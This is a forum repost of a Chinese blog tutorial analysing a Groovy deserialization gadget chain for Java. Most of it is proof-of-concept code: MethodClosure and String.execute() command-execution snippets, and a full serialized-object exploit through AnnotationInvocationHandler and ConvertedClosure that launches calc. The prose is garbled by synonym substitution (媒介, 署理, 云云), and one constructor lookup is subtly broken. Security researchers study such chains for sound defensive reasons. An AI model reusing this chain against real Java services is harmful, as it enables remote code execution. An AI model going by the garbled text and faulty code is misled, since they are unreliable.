没腿的鸟 发表于 2024-5-17 07:26:55

Groovy反序列化链分析

媒介

Groovy 是一种基于 JVM 的开发语言,具有雷同于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后天生 .class 文件,与 Java 编译天生的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以利用 groovy-all
环境搭建https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413165317175-1622636547.png#id=GItM8&originHeight=211&originWidth=1048&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

<dependency>
        <groupId>org.codehaus.groovy</groupId>
        <artifactId>groovy-all</artifactId>
        <version>2.4.3</version>
</dependency>Groovy命令执行

MethodClosure

package org.example;

import org.codehaus.groovy.runtime.MethodClosure;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class methodClosure {
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
      MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
      Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
      m.setAccessible(true);
      m.invoke(mc, "calc");
    }
}很朴素,一眼看出漏洞点在doCall方法,调试一波
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413164839160-1349796708.png#id=cXD13&originHeight=203&originWidth=1623&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
invokeMethod顾名思义就是执行方法的,调试进去看也确实云云,看getOwner是获取到this.owner,看构造方法,owner是一个对象
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413165317175-1622636547.png#id=kPFRq&originHeight=211&originWidth=1048&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
而owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,如许就实现了恣意类方法调用
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413165434555-1122101076.png#id=orTWx&originHeight=196&originWidth=960&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接利用 "ls".execute() 这种方法来执行体系命令ls
注意这里,创建一个Groovy类文件,不是创建java类文件了
package org.example

class stringExecute {
    static void main(String[] args){
      println("calc".execute().text);
    }
}// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"

// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";ConvertedClosure

ConvertedCloure实际上是一个动态署理类,它继承了ConversionHandler
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413171631988-1154452415.png#id=QDRm4&originHeight=748&originWidth=1366&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
而ConversionHandler又继承了InvocationHandler
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413171507640-165128629.png#id=WoPvJ&originHeight=351&originWidth=1374&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
因此该类是一个动态署理,然后注意invokeCustom,这个和InvocationHandler的invoke是一个意思,署理的具体逻辑。如果初始化时指定的method与invokeCustom指定的method参数相同,则invokeCustom方法将会调用署理对象 Closure 的call方法执行传入参数执行
Groovy反序列化构造

说到动态署理就得想到CC1
package org.example;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;

public class convertedClosure {
    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
      //封装我们需要执行的对象
      MethodClosure methodClosure = new MethodClosure("calc", "execute");
      ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");

      Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
      Constructor<?> constructor = c.getDeclaredConstructors();
      constructor.setAccessible(true);

      // 创建 ConvertedClosure 的动态代理类实例
      Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);

      // 使用动态代理初始化 AnnotationInvocationHandler
      InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);

      try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
            outputStream.writeObject(invocationHandler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
            inputStream.readObject();
      }
      catch(Exception e){
            e.printStackTrace();
      }
    }
}调用链
AnnotationInvocationHandler.readObject()
    Map.entrySet() (Proxy)
      ConversionHandler.invoke()
            ConvertedClosure.invokeCustom()
                        MethodClosure.call()
                  ProcessGroovyMethods.execute()流程分析

调用entrySet
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413172750678-802121014.png#id=GzGhs&originHeight=619&originWidth=1621&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413172903796-709180048.png#id=mOOdZ&originHeight=380&originWidth=1581&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
最后调用call方法rce
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413173012312-341988734.png#id=XiSuu&originHeight=338&originWidth=1638&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240413173046051-797172238.png#id=t5bjg&originHeight=1063&originWidth=1594&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Groovy反序列化链分析